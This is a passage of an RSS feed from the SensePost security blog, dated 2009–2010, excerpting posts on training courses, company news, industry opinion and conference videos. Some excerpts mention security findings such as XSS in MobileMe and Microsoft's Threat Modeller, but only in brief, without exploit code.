				<description>&lt;p&gt;Hey everyone.&lt;/p&gt;&#xA;&lt;p&gt;We will once again be presenting our BootCamp training course at the BlackHat Europe Conference. It seems this is a quiet year in terms of training sessions so I guess everyone is starting to feel the pinch of the present economic climate. Nevertheless we have committed to being in Barcelona so we&amp;#8217;re going for it anyway. It will be the first time we are training in Spain, which is pretty cool and exciting for us!&lt;/p&gt;</description>
			</item>
			<item>
				<title>So long.. and thanks for everything..</title>
				<link>https://sensepost.com/blog/2010/so-long..-and-thanks-for-everything../</link>
				<pubDate>Tue, 02 Mar 2010 21:50:06 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/so-long..-and-thanks-for-everything../</guid>
				<description>&lt;p&gt;Considering how freely i&amp;#8217;ve ranted on our blog over the past few years i found it incredibly hard to to write this post. SensePost has been my home for the better part of a decade and i have been haroon@sensepost.com much more than i have been haroon meer.&lt;/p&gt;&#xA;&lt;p&gt;In truly boring last post manner i wanted to quickly say thanks to everyone for making it such a fun ride. From the awesome people who took a chance on us when we were scarily young and foolish, to the guys (and girls) who joined us to help make SP elite. From the many customers who tolerated my sloppy dressing to Secure Data Holdings who have been awesome in every interaction we have ever had with them. From the people who have used our tools, read our work and contributed ideas to the people who read this blog (Hi Mom!).&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost Ten Years Old</title>
				<link>https://sensepost.com/blog/2010/sensepost-ten-years-old/</link>
				<pubDate>Mon, 15 Feb 2010 13:03:47 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/sensepost-ten-years-old/</guid>
				<description>&lt;p&gt;After ten fascinating years, during which many people have contributed in so many ways to the place that is SensePost, by strange coincidence it falls on me to pen the words that mark our first decade in existence. To quote Robert Hunter: &amp;#8220;What a long strange trip it&amp;#8217;s been&amp;#8221;. SensePost was officially founded on February 14, 2000. Of everyone who was involved at that time, I&amp;#8217;m the only one still working here, which earns me the dubious honor of &amp;#8216;oldest employee&amp;#8217;. Do I get a gold watch? I meant to think much more over the last few weeks and months about how we should celebrate this day, or what I would write in a letter like this, but in the end (business being business) I&amp;#8217;m writing this in a rush on a Sunday evening, with another three big things to complete before I allow myself to go to bed. Then again much of our success (in so far as we&amp;#8217;ve been a success) happened in hurry on a Sunday night, so let&amp;#8217;s not write this little piece off too soon, shall we?&lt;/p&gt;</description>
			</item>
			<item>
				<title>Removing registration requirements</title>
				<link>https://sensepost.com/blog/2010/removing-registration-requirements/</link>
				<pubDate>Mon, 08 Feb 2010 23:03:01 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/removing-registration-requirements/</guid>
				<description>&lt;p&gt;Over the years we&amp;#8217;ve offered almost all our tools, papers, presentations and other materials for free, albeit with a &amp;#8220;registration required&amp;#8221; proviso. The registration wall has been in place for some time now, and was used to track unique users as well as permit users to opt into SensePost mailruns. What we found though, is that registration is more of a hindrance than a benefit; it creates an artificial barrier with little reward. The data isn&amp;#8217;t that useful to us and the added steps just an extra annoyance for users, and we wanted to streamline things a little.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Is the writing on the wall for general purpose computing ?</title>
				<link>https://sensepost.com/blog/2010/is-the-writing-on-the-wall-for-general-purpose-computing/</link>
				<pubDate>Fri, 29 Jan 2010 23:21:57 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/is-the-writing-on-the-wall-for-general-purpose-computing/</guid>
				<description>&lt;p&gt;The Apple iPad announcement set the interwebs alight, and there is no shortage of people blogging or tweeting about how it will or wont change their lives. I&amp;#8217;m going to ignore those topics almost completely to make one of those predictions that serve mainly to let people laugh at me later for being so totally wrong..&lt;/p&gt;&#xA;&lt;p&gt;Heres my vision..&lt;br /&gt;&#xA;Its not just the Hipsters and college kids who get iPads, its the execs and CEO&amp;#8217;s. They are happy for a short while using it just as an E-Reader, movie watcher and couch based web browser, but the app store keeps growing to support the new form factor. Apps like &lt;a href=&#34;http://www.macworld.com/article/145941/2010/01/iwork_ipad.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;iWork for iPad&lt;/a&gt; (at only $10)  means that sooner or later they are relatively comfortable spreadsheeting or document pushing on their iPad.. It doesn&amp;#8217;t take too long for them to realize that they don&amp;#8217;t have much heavier computing requirements anyway and besides.. the instant on experience is what they always wanted..&lt;/p&gt;</description>
			</item>
			<item>
				<title>80 minutes to Apples Tablet..</title>
				<link>https://sensepost.com/blog/2010/80-minutes-to-apples-tablet../</link>
				<pubDate>Wed, 27 Jan 2010 16:58:08 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/80-minutes-to-apples-tablet../</guid>
				<description>&lt;p&gt;In 80 minutes Apple will announce the tablet, and the interwebs is almost bursting with excitement and anticipation..&lt;/p&gt;&#xA;&lt;p&gt;You absolutely have to give shouts to Apple for being able to create a following like this, anticipation like this, without once ever having officially stated that they were launching the tablet today..&lt;/p&gt;&#xA;&lt;p&gt;I know lots of people are quick to point out the fan-boyism, but it has to be said, that generating and maintaining that kind of cultish following is near impossible to get right, and AAPL manage to pull it off awesomely..[1]&lt;/p&gt;</description>
			</item>
			<item>
				<title>Administristrivia: dead HDD</title>
				<link>https://sensepost.com/blog/2010/administristrivia-dead-hdd/</link>
				<pubDate>Wed, 13 Jan 2010 11:45:52 +0000</pubDate>
				<guid>https://sensepost.com/blog/2010/administristrivia-dead-hdd/</guid>
				<description>&lt;p&gt;Our web server lost a drive yesterday, however things seems to be back to normal.&lt;/p&gt;&#xA;&lt;p&gt;If you notice broken links or scripts, we&amp;#8217;d appreciate a mail to info at sensepost.com.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Happy New Year! (No predictions.. promise..)</title>
				<link>https://sensepost.com/blog/2009/happy-new-year-no-predictions..-promise../</link>
				<pubDate>Thu, 31 Dec 2009 16:20:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/happy-new-year-no-predictions..-promise../</guid>
				<description>&lt;p&gt;It&amp;#8217;s the last few hours of 2009 here in South Africa so i wanted to take the opportunity really quickly to wish the 2 readers of this blog all the best for new year..&lt;/p&gt;&#xA;&lt;p&gt;Most security &amp;#8220;pundits&amp;#8221; are currently doing their 2010 predictions. (although in truth few of them so far have been particularly surprising or out-there.. &amp;#8220;Adobe will be brutalized&amp;#8221; ? really? hows that different to 08 or 09)(One really has to question how the current whipping boy for exploit writers managed to be a key contributor to Gary McGraws &lt;a href=&#34;http://bsi-mm.com/&#34; target=&#34;_self&#34;&gt;BSIM Model&lt;/a&gt;, but i digress)&lt;/p&gt;</description>
			</item>
			<item>
				<title>26th Chaos Communication Congress..</title>
				<link>https://sensepost.com/blog/2009/26th-chaos-communication-congress../</link>
				<pubDate>Wed, 30 Dec 2009 21:04:52 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/26th-chaos-communication-congress../</guid>
				<description>&lt;p&gt;is currently on in Berlin.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/26th-chaos-communication-congress/19c47c89598c6d775ac526d022a2dc30.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;179&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/26th-chaos-communication-congress/19c47c89598c6d775ac526d022a2dc30.png&#34; title=&#34;hbdlogo&#34; width=&#34;476&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As usual [&lt;a href=&#34;http://events.ccc.de/congress/2009/wiki/Welcome&#34; target=&#34;_blank&#34;&gt;it&lt;/a&gt;] looks like a blast, and as usual, media [&lt;a href=&#34;http://mirror.fem-net.de/CCC/26C3/&#34; target=&#34;_blank&#34;&gt;is online&lt;/a&gt;] before the speaker shuts down his presentation machine..&lt;/p&gt;&#xA;&lt;p&gt;SensePosters can grab a local copy of the EN-vids [&lt;a href=&#34;https://introonet.sensepost.com/store/cons-multimedia/26c3/&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;</description>
			</item>
			<item>
				<title>We are famous (almost!)</title>
				<link>https://sensepost.com/blog/2009/we-are-famous-almost/</link>
				<pubDate>Wed, 16 Dec 2009 15:39:50 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/we-are-famous-almost/</guid>
				<description>&lt;p&gt;Last week had two &amp;#8220;cloud-security&amp;#8221; related articles hit the inter-webs.. After our Vegas09 talk on &amp;#8220;clobbering the cloud&amp;#8221; we had a brief chat to &lt;a href=&#34;http://www.robertlemos.com/&#34; target=&#34;_blank&#34;&gt;Rob Lemos&lt;/a&gt;, who called us up again, so we ended up adding the soundbyte to his piece in Technology review along with guys like Moxie Marlinspike and Danny MacPherson [&lt;a href=&#34;http://www.technologyreview.com/printer_friendly_article.aspx?id=24127&amp;amp;channel=web&amp;amp;section=&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;We also showed up on &lt;a href=&#34;http://www.readwriteweb.com/archives/zeus-botnet-amazon-cloud-ec2.php&#34; target=&#34;_blank&#34;&gt;Read/Write Web&lt;/a&gt;, where we were called &amp;#8220;security nerds&amp;#8221; and &amp;#8220;black hats&amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;Ahhh.. roll on 2010!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Criticism, Cheerleading, and Negativity</title>
				<link>https://sensepost.com/blog/2009/criticism-cheerleading-and-negativity/</link>
				<pubDate>Mon, 07 Dec 2009 10:58:19 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/criticism-cheerleading-and-negativity/</guid>
				<description>&lt;div&gt;&#xA;&lt;p&gt;[&lt;a href=&#34;http://al3x.net/about.html&#34; target=&#34;_blank&#34;&gt;Alex Payne&lt;/a&gt;] has an excellent post up titled &amp;#8220;&lt;a href=&#34;http://al3x.net/2009/12/06/criticism.html&#34; target=&#34;_blank&#34;&gt;Criticism, Cheerleading, and Negativity&lt;/a&gt;&amp;#8220;. It&amp;#8217;s a 2 minute read, but its worth it:&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;We understand well the idea of being in favor or something, or against something, but we don’t particularly understand how criticism fits into this dichotomy.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;..&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;The reason a person is critical of a thing is because he is passionate about that thing. In order to have a critical opinion, you have to love something enough to understand it, and then love it so much more that you want it to be better. Passion breeds critical thinking.&lt;/em&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>ZaCon – A con in need of a better tagline…</title>
				<link>https://sensepost.com/blog/2009/zacon-a-con-in-need-of-a-better-tagline/</link>
				<pubDate>Mon, 30 Nov 2009 20:41:36 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/zacon-a-con-in-need-of-a-better-tagline/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://zacon.org.za&#34; target=&#34;_blank&#34;&gt;ZaCon&lt;/a&gt; came and went, &amp;#8220;&lt;a href=&#34;http://www.google.com/search?q=and+a+fun+time+was+had+by+all&#34; target=&#34;_blank&#34;&gt;and a fun time was had by all!&lt;/a&gt;&amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/zacon-a-con-in-need-of-a-better-tagline/3336453f71613b8528b2a9d84189d280.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;84&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/zacon-a-con-in-need-of-a-better-tagline/3336453f71613b8528b2a9d84189d280.png&#34; title=&#34;zacon-logo&#34; width=&#34;500&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first run was a semi-cosy affair held at the University of Johannesburg, with 16 speakers holding the crowd from 08h00 till 18h00. ZaCon had many SensePost faces, but is not expressly an SP initiative.. It&amp;#8217;s a community based con aimed at growing the next gen of South African hax0rs..&lt;/p&gt;&#xA;&lt;p&gt;My brief ~12 minute intro: &amp;#8220;Why Zacon&amp;#8221; explains some of the organizers thinking.. You can watch me blab [&lt;a href=&#34;http://www.vimeo.com/7857004&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;] and you can watch the rest of the videos [&lt;a href=&#34;http://www.vimeo.com/album/150132&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;</description>
			</item>
			<item>
				<title>Defcon-17 – Clobbering the Cloud</title>
				<link>https://sensepost.com/blog/2009/defcon-17-clobbering-the-cloud/</link>
				<pubDate>Mon, 16 Nov 2009 10:42:37 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/defcon-17-clobbering-the-cloud/</guid>
				<description>&lt;p&gt;Our DC-17 video (of the &amp;#8220;Clobbering the Cloud&amp;#8221; talk) is now available on the the new look DefCon download site: [&lt;a href=&#34;https://media.defcon.org/dc-17/video/DEFCON%2017%20Hacking%20Conference%20Presentation%20By%20Haroon%20Meer%20and%20Marco%20Slaviero%20-%20Clobbering%20the%20Cloud%20-%20Video%20And%20Slides.m4v&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/defcon-17-clobbering-the-cloud/35b43ee51801daca10cbf13e84e42ffd.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;179&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/defcon-17-clobbering-the-cloud/35b43ee51801daca10cbf13e84e42ffd.png&#34; title=&#34;dc17&#34; width=&#34;332&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;All of the other DC17 videos can be found [&lt;a href=&#34;http://defcon.org/html/links/dc-archives/dc-17-archive.html&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;(if you are a senseposter, you can grab them with descriptions from [&lt;a href=&#34;https://introonet.sensepost.com/store/cons-multimedia/dc-17/&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;])&lt;/p&gt;</description>
			</item>
			<item>
				<title>Twitter killed the (infosec) Blogging Star ?</title>
				<link>https://sensepost.com/blog/2009/twitter-killed-the-infosec-blogging-star/</link>
				<pubDate>Tue, 10 Nov 2009 15:45:47 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/twitter-killed-the-infosec-blogging-star/</guid>
				<description>&lt;p&gt;Like it, hate it or just plain struggling to understand it, Twitter has made a huge impact across a wide range of fields. We use it fairly heavily internally for simulated water-cooler chatter and quick link-exchange. (like any piece of sp-geek-over-engineering we also have a tweet-bot to convert tweets to emails, and convert blog notifications to tweets). It&amp;#8217;s pretty clear though, that once we started tweeting internally, people started blogging less. There&amp;#8217;s something liberating about saying &amp;#8220;here&amp;#8217;s a link&amp;#8221;, as opposed to taking the time to formulate your thoughts into a full blown posting.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Spammers need love too..</title>
				<link>https://sensepost.com/blog/2009/spammers-need-love-too../</link>
				<pubDate>Thu, 05 Nov 2009 17:35:59 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/spammers-need-love-too../</guid>
				<description>&lt;p&gt;-snip-&lt;br /&gt;&#xA;From: Haroon Meer &amp;lt;haroon@sensepost.com&amp;gt;&lt;br /&gt;&#xA;To: Marc Schneider &amp;lt;marcs@mplw.net&amp;gt;&lt;br /&gt;&#xA;Subject: Re: http://www.sensepost.com &amp;#8211; Contact needed&lt;/p&gt;&#xA;&lt;p&gt;Hi Dr Schneider.&lt;/p&gt;&#xA;&lt;p&gt;* Marc Schneider [marcs@mplw.net] seemed to say:&lt;br /&gt;&#xA;&lt;em&gt;&amp;gt;I am Dr. Marc Schneider and I work for Multilingual Search Engine&lt;br /&gt;&#xA;&amp;gt;Optimization Inc. in Washington DC ( Tel: 1 202-250-3645) &amp;#8211; I would&lt;br /&gt;&#xA;&amp;gt;like to speak with the person in charge of your international&lt;br /&gt;&#xA;&amp;gt;clientele. Who is my contact? Who should I speak to??&lt;br /&gt;&#xA;&amp;gt;&lt;br /&gt;&#xA;&amp;gt;In fact, after visiting http://www.sensepost.com , I have noticed that your&lt;br /&gt;&#xA;&amp;gt;website&lt;br /&gt;&#xA;&amp;gt;cannot be found on foreign search engines (I tested it on Hispanic&lt;br /&gt;&#xA;&amp;gt;search engines, German search engines, Asian search engines, etc.) Our&lt;br /&gt;&#xA;&amp;gt;company is specialized in multilingual search engine promotions in 28&lt;br /&gt;&#xA;&amp;gt;languages . From the Japanese Google to the German Yahoo, from the AOL&lt;br /&gt;&#xA;&amp;gt;in Spanish to the MSN in Chinese, we can show you how to develop a&lt;br /&gt;&#xA;&amp;gt;true international online presence by promoting your website on&lt;br /&gt;&#xA;&amp;gt;foreign search engines.&lt;/em&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Dvorak, on Windows 7, Microsoft and attention to details..</title>
				<link>https://sensepost.com/blog/2009/dvorak-on-windows-7-microsoft-and-attention-to-details../</link>
				<pubDate>Thu, 29 Oct 2009 08:17:24 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/dvorak-on-windows-7-microsoft-and-attention-to-details../</guid>
				<description>&lt;p&gt;The other day i &lt;a href=&#34;http://twitter.com/haroonmeer/status/5131855753&#34; target=&#34;_blank&#34;&gt;tweeted&lt;/a&gt; a link from&lt;a href=&#34;http://www.pcmag.com/article2/0,2817,2354446,00.asp&#34; target=&#34;_blank&#34;&gt; John Dvorak reviewing Windows 7&lt;/a&gt;. He basically said that Microsoft was dying, and said the product was &amp;#8220;&lt;em&gt;made with the same cheap Microsoft vodka.&lt;/em&gt;&amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;Dvoraks not new to this[&lt;a href=&#34;http://en.wikipedia.org/wiki/John_C._Dvorak&#34; target=&#34;_blank&#34;&gt;1&lt;/a&gt;], (i recall reading his columns in PC magazine in the early 90&amp;#8217;s, so he has been around). He slates Microsoft, not because of the code in windows7, but because (he feels) Microsoft has stopped paying attention to details:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Sensepost’s Developer and Bootcamp Security courses (November)</title>
				<link>https://sensepost.com/blog/2009/senseposts-developer-and-bootcamp-security-courses-november/</link>
				<pubDate>Mon, 19 Oct 2009 07:11:52 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/senseposts-developer-and-bootcamp-security-courses-november/</guid>
				<description>&lt;p&gt;Hi All&lt;/p&gt;&#xA;&lt;p&gt;SensePost will be running their next Developer and Bootcamp courses for 2009, scheduled for November. Please drop me an email if you know of anyone in your area that would like to attend.&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8211; 1) Hacking by Numbers &amp;#8211; Developer Edition (16-18 November 2009)&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8211; 2) Hacking by Numbers -Extended (Bootcamp) Edition (10-13 November)&lt;/p&gt;&#xA;&lt;p&gt;Information about courses:&lt;/p&gt;&#xA;&lt;p&gt;1) &lt;strong&gt;HBN &amp;#8211; Developer Edition&lt;/strong&gt;&lt;br /&gt;&#xA;&amp;#8216;&lt;em&gt;Hacking By Numbers &amp;#8211; Developer Edition&lt;/em&gt;&amp;#8216; is a course aimed at arming web application developers with knowledge of web application attack techniques currently being used in the &amp;#8216;wild&amp;#8217; and how to combat them. Derived from our internationally acclaimed &amp;#8216;Hacking By Numbers&amp;#8217; security training, this course focuses heavily on two questions: &amp;#8220;What am I up against?&amp;#8221; and &amp;#8220;How can I protect my applications from attack?&amp;#8221; During the course sample applications will be dissected to discover security related bugs hidden within the code. The class will then consider prevention, detection &amp;amp; cure.&lt;/p&gt;</description>
			</item>
			<item>
				<title>*sigh* alas poor kindle…</title>
				<link>https://sensepost.com/blog/2009/sigh-alas-poor-kindle/</link>
				<pubDate>Sun, 04 Oct 2009 21:04:44 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/sigh-alas-poor-kindle/</guid>
				<description>&lt;p&gt;my wife might have a kindle, which i might have bought in the US, which she might have loved dearly.. Buying books might have been possible using the &amp;#8220;gift card hack&amp;#8221; or the &amp;#8220;US Postal Address hack&amp;#8221; &amp;#8211; but alas! It seems as if i can no longer transfer my money from me to Amazon this way..&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/sigh-alas-poor-kindle/f01c2de8355b6ee40646d388510aec72.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;164&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/sigh-alas-poor-kindle/f01c2de8355b6ee40646d388510aec72.png&#34; title=&#34;geofilter&#34; width=&#34;500&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Must our beautiful friendship end this way amazon? Will this geofilter come between us after all these years?&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost again accredited as a PCI ASV</title>
				<link>https://sensepost.com/blog/2009/sensepost-again-accredited-as-a-pci-asv/</link>
				<pubDate>Tue, 29 Sep 2009 09:42:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/sensepost-again-accredited-as-a-pci-asv/</guid>
				<description>&lt;p&gt;SensePost is proud to announce that they have retained their status as an Approved Scanning Vendor for PCI DSS purposes.&lt;/p&gt;&#xA;&lt;p&gt;This letter of acknowledgement was gladly received:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/sensepost-again-accredited-as-a-pci-asv/ec930fbb25a6114885ff3610786e3825.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;221&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/sensepost-again-accredited-as-a-pci-asv/ec930fbb25a6114885ff3610786e3825.jpg&#34; title=&#34;PCI ASV status confirmation&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Truth be told, we did pop the bubbly for this one.&lt;/p&gt;</description>
			</item>
			<item>
				<title>MS Threat Modeller</title>
				<link>https://sensepost.com/blog/2009/ms-threat-modeller/</link>
				<pubDate>Tue, 15 Sep 2009 10:14:59 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/ms-threat-modeller/</guid>
				<description>&lt;p&gt;Just arbitrary coolness regarding Microsoft&amp;#8217;s Threat Modeller.  It&amp;#8217;s XSS-ible&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;Since this all works in file:///, not overly sure what the benefits of these things will be, but I suppose since different folks may have different privilege levels for different protocol handlers (ie: file:// http:// etc), one might be able to instantiate previously unusable OCX&amp;#8217;es, or even redirect to site for exploiting browser vulnerabilities.&lt;/p&gt;&#xA;&lt;p&gt;Never happened unless there are pictures, so refer below&amp;#8230;&lt;/p&gt;</description>
			</item>
			<item>
				<title>2 pieces of coolness…</title>
				<link>https://sensepost.com/blog/2009/2-pieces-of-coolness/</link>
				<pubDate>Fri, 11 Sep 2009 23:27:15 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/2-pieces-of-coolness/</guid>
				<description>&lt;p&gt;a) was the politely dropped kaminsky firefox bug [&lt;a href=&#34;http://lists.grok.org.uk/pipermail/full-disclosure/2009-September/070620.html&#34; target=&#34;_blank&#34;&gt;http://lists.grok.org.uk/pipermail/full-disclosure/2009-September/070620.html&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;It still requires a click for command execution, but considering its multi platform firefox ownage sans shellcode, i think its cool.. i think its even cooler that dan dropped it sans any fanfare..&lt;/p&gt;&#xA;&lt;p&gt;b) has to be &lt;a href=&#34;http://twitter.com/pusscat&#34; target=&#34;_blank&#34;&gt;Pusscat&lt;/a&gt;&amp;#8216;s attack on the SMBv2 Remote bug published on [&lt;a href=&#34;http://vrt-sourcefire.blogspot.com/2009/09/smbv2-quotes-dos-quotes.html&#34; target=&#34;_blank&#34;&gt;the VRT blog..&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;From the post:&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8220;&lt;em&gt;we get lucky here as well in that there is a pointer srv!pSrvStatistics which also points to srvnet!SrvNetStatistics, and counts the number of requests that have been made to a specific call (as well as other things).&lt;br /&gt;&#xA;&lt;/em&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Fasm2009 – Videos online..</title>
				<link>https://sensepost.com/blog/2009/fasm2009-videos-online../</link>
				<pubDate>Fri, 04 Sep 2009 10:44:14 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/fasm2009-videos-online../</guid>
				<description>&lt;p&gt;The &amp;#8220;&lt;a href=&#34;http://fasmcon.flatassembler.net/&#34; target=&#34;_blank&#34;&gt;Fasm conference&lt;/a&gt; is an informal meeting of coders interested in x86 assembly programming.&amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;Some of the videos can be grabbed [&lt;a href=&#34;https://introonet.sensepost.com/store/cons-multimedia/fasm/&#34; target=&#34;_blank&#34;&gt;sp_local&lt;/a&gt;|&lt;a href=&#34;http://board.flatassembler.net/topic.php?p=100149#100149&#34; target=&#34;_blank&#34;&gt;Other&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;</description>
			</item>
			<item>
				<title>About:SnowLeopard</title>
				<link>https://sensepost.com/blog/2009/aboutsnowleopard/</link>
				<pubDate>Wed, 02 Sep 2009 20:35:01 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/aboutsnowleopard/</guid>
				<description>&lt;p&gt;Sure it only cost $29, but when you consider the number of people bowing down and thanking our Cupertino overlords you have to consider the following:&lt;/p&gt;&#xA;&lt;p&gt;If the Emperor was given his new clothes today, #emperors_clothes would be trending on twitter (with ppl thanking the tailors for reduced closet space requirements)&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;</description>
			</item>
			<item>
				<title>MonSoen.py</title>
				<link>https://sensepost.com/blog/2009/monsoen.py/</link>
				<pubDate>Wed, 26 Aug 2009 09:04:12 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/monsoen.py/</guid>
				<description>&lt;p&gt;I was recently playing with a Wingate Proxy server, came across some arbitrary interestingness.&lt;/p&gt;&#xA;&lt;p&gt;So, WinGate proxy includes a remote management agent which is accessed via a client utility called GateKeeper.  This allows one to configure the WinGate server across the network.  However, its not enabled to listen on the network by default, and only listens on 127.0.0.1:808.  From my perusal of the documentation, the remote administrative facility should only be available to enterprise and professional license holders, and those firms using standard edition licenses will have to configure their proxy software locally.&lt;/p&gt;</description>
			</item>
			<item>
				<title>John Viega’s “the myths of security”.. Really??</title>
				<link>https://sensepost.com/blog/2009/john-viegas-the-myths-of-security..-really/</link>
				<pubDate>Sun, 23 Aug 2009 13:25:57 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/john-viegas-the-myths-of-security..-really/</guid>
				<description>&lt;p&gt;i go through a ton of books. Over the past 10 years, this has been dominated by books on computer security, computer science, programming (and some sprinklings of management classics).&lt;/p&gt;&#xA;&lt;p&gt;I generally stay away from writing reviews, but was genuinely suprised at the number of 5 star reviews Viega&amp;#8217;s new book had received and felt i had to chime in.&lt;/p&gt;&#xA;&lt;p&gt;I picked up &amp;#8220;the myths of security&amp;#8221; (what the computer industry doesn&amp;#8217;t want you to know) with hope, because O&amp;#8217;Reilly books in general are well done and i really liked some of Johns previous books. Alas! I tried hard to think of a good thing to say about the book, and the best i can come up with right now is that &amp;#8220;at least, it wont take up space on my bookshelf&amp;#8221;.&lt;br /&gt;&#xA;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/john-viega-s-the-myths-of-security-really/b7ee1d2867aef3aceac37aa53fda7337.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;300&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/john-viega-s-the-myths-of-security-really/b7ee1d2867aef3aceac37aa53fda7337.jpg&#34; title=&#34;bookshelf&#34; width=&#34;225&#34; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;The book is tiny (48 chapters, where each chapter is between a paragraph to 2-3 pages) which isn&amp;#8217;t a bad thing, but it reads mostly as a collection of blog posts or hurriedly written notes-to-self.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat presentation demo vids: MobileMe</title>
				<link>https://sensepost.com/blog/2009/blackhat-presentation-demo-vids-mobileme/</link>
				<pubDate>Sun, 09 Aug 2009 08:27:07 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/blackhat-presentation-demo-vids-mobileme/</guid>
				<description>&lt;address&gt;[part 5 in a series of 5 video write-ups from our BlackHat 09 talk, summary &lt;a href=&#34;http://www.sensepost.com/blog/3736.html&#34;&gt;here&lt;/a&gt;]&lt;br /&gt;&#xA;&lt;/address&gt;&#xA;&lt;h4&gt;Goal&lt;/h4&gt;&#xA;&lt;p&gt;The final installment of our BlackHat video series showcases weaknesses in the password reset feature for Apple&amp;#8217;s &lt;a href=&#34;http://www.apple.com/mobileme/&#34;&gt;MobileMe&lt;/a&gt; service as well as publicizing an XSS vulnerability in the application. At first glance the choice of MobileMe may seem arbitrary, but it was useful for a number of reasons. MobileMe is one of the more popular consumer-focused cloud services and it&amp;#8217;s a good example of the feature-creep that&amp;#8217;s a hallmark of cloud systems. By compromising a user&amp;#8217;s MobileMe account an attacker has access to much more than just the user&amp;#8217;s mail. With each new feature addition the user is sucked into the service a little more until most of their data is stored within MobileMe, and a compromise of the account becomes serious for the user.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat presentation demo vids: Amazon</title>
				<link>https://sensepost.com/blog/2009/blackhat-presentation-demo-vids-amazon/</link>
